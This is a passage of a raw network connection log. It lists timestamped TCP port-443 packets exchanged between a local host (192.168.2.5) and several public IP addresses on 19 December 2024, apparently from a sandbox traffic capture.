Dec 19, 2024 15:13:31.127739906 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.127777100 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.127791882 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.132601023 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.132771015 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.132778883 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.133294106 CET	49705	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.133313894 CET	443	49705	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.135746002 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.135900974 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.135982990 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.135999918 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.136059046 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.139280081 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.139354944 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.139363050 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.143800020 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.147450924 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.147602081 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.147680044 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.147689104 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.147736073 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.149003983 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.149177074 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.149247885 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.149256945 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.149307013 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.151828051 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.151906013 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.151921988 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.155824900 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.156595945 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.159954071 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.160074949 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.160089016 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.164135933 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.164206028 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.164213896 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.164621115 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.164694071 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.164726973 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.164741993 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.164788961 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.167999029 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.168173075 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.168188095 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.172377110 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.172511101 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.172518969 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.172645092 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.179306030 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.179425001 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.179434061 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.180833101 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.180898905 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.180906057 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.184021950 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.184094906 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.184108973 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.185336113 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.185414076 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.185421944 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.188927889 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.189007998 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.189014912 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.191627026 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.191693068 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.191701889 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.192085981 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.192172050 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.192187071 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.196589947 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.200079918 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.200089931 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.200180054 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.200287104 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.200345993 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.200367928 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.200434923 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.207987070 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.210252047 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.210334063 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.210340977 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.213960886 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.214051962 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.214066982 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.217183113 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.217250109 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.217262030 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.217303038 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.217469931 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.222543001 CET	49708	443	192.168.2.5	104.18.11.207
Dec 19, 2024 15:13:31.222553015 CET	443	49708	104.18.11.207	192.168.2.5
Dec 19, 2024 15:13:31.235111952 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.266536951 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.288747072 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.291754961 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.291853905 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.291863918 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.299465895 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.299551010 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.299560070 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.305685997 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.305754900 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.305771112 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.306437016 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.306499004 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.306509018 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.307878971 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.311278105 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.311369896 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.311386108 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.311568022 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.311635971 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.360913992 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.367883921 CET	49711	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.367906094 CET	443	49711	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.433557987 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.433585882 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.433602095 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.433660984 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.433732986 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.433739901 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.433783054 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.433840990 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.505201101 CET	49710	443	192.168.2.5	151.101.194.137
Dec 19, 2024 15:13:31.505214930 CET	443	49710	151.101.194.137	192.168.2.5
Dec 19, 2024 15:13:31.565566063 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.613095999 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.676970005 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.676978111 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.678452015 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.678536892 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.681004047 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.681070089 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.684521914 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.684708118 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.687869072 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.687877893 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:31.737623930 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:31.836146116 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.836172104 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.836249113 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.836544991 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:31.836560011 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:31.838671923 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.838735104 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.838834047 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.839023113 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.839055061 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.848855972 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.848890066 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.848958015 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.849445105 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:31.849459887 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:31.862793922 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:31.862822056 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:31.862896919 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:31.863281012 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:31.863300085 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:32.257028103 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:32.257077932 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:32.257148981 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:32.257435083 CET	49722	443	192.168.2.5	172.217.19.228
Dec 19, 2024 15:13:32.257464886 CET	443	49722	172.217.19.228	192.168.2.5
Dec 19, 2024 15:13:32.566418886 CET	443	49703	23.1.237.91	192.168.2.5
Dec 19, 2024 15:13:32.566535950 CET	49703	443	192.168.2.5	23.1.237.91
Dec 19, 2024 15:13:32.746295929 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.746372938 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.746395111 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.746412992 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.746427059 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.746450901 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.746465921 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.771676064 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.771698952 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.771734953 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.771744967 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.771766901 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.812571049 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.927581072 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.927606106 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.927654982 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.927711964 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.927711964 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.949043036 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.949064016 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.949094057 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.949129105 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.949129105 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.949150085 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.970319986 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.970340014 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.970416069 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.970416069 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.970427036 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.999142885 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:32.999224901 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:32.999232054 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.020154953 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.020179033 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.020343065 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.020350933 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.066585064 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.084017038 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.084405899 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.084455013 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.088079929 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.088164091 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.089230061 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.089423895 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.089454889 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.098340988 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.100873947 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.100912094 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.102099895 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.102216005 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.102487087 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.102535963 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.102607012 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.113699913 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.113722086 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.113753080 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.113821030 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.113821030 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.129992962 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.130018950 CET	443	49719	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.136626005 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.136646986 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.136677027 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.136701107 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.136759996 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.145895958 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.145915985 CET	443	49721	151.101.2.137	192.168.2.5
Dec 19, 2024 15:13:33.151952028 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.151972055 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.152033091 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.152086020 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.152091026 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.166521072 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.166541100 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.166636944 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.166636944 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.166645050 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.178025961 CET	49719	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.179059982 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.179080963 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.179169893 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.179169893 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.179177999 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.193137884 CET	49721	443	192.168.2.5	151.101.2.137
Dec 19, 2024 15:13:33.197494984 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.197518110 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.197557926 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.197578907 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.197602987 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.197602987 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.197611094 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.197676897 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.238822937 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.309370041 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.309396982 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.309437990 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.309469938 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.309478045 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.309633970 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.309638977 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.309689999 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.312441111 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.312645912 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.312655926 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.314099073 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.314193964 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.314512968 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.314594984 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.314699888 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.314707041 CET	443	49718	104.17.24.14	192.168.2.5
Dec 19, 2024 15:13:33.320091963 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.320302010 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.320324898 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.321320057 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.321379900 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.321739912 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.321799040 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.321868896 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.321877003 CET	443	49720	104.18.10.207	192.168.2.5
Dec 19, 2024 15:13:33.324904919 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.324949980 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.324981928 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.324989080 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.325047970 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.325047970 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.340908051 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.340966940 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.340980053 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.340998888 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.341033936 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.341033936 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.347711086 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.347780943 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.347786903 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.356643915 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.356707096 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.356713057 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.363396883 CET	49720	443	192.168.2.5	104.18.10.207
Dec 19, 2024 15:13:33.363404989 CET	49718	443	192.168.2.5	104.17.24.14
Dec 19, 2024 15:13:33.363416910 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.363512039 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.363519907 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.370284081 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.370379925 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.370387077 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.378084898 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.378242970 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.378249884 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.387001991 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.387077093 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.387084007 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.393862963 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.393928051 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.393934965 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.401648045 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.401719093 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.401725054 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.409542084 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.409621000 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.409629107 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.456059933 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.499047995 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.499075890 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.499116898 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.499145985 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.499152899 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.499330997 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.499335051 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.499383926 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.511589050 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.511636972 CET	443	49716	170.106.97.198	192.168.2.5
Dec 19, 2024 15:13:33.511674881 CET	49716	443	192.168.2.5	170.106.97.198
Dec 19, 2024 15:13:33.511682034 CET	443	49716	170.106.97.198	192.168.2.5
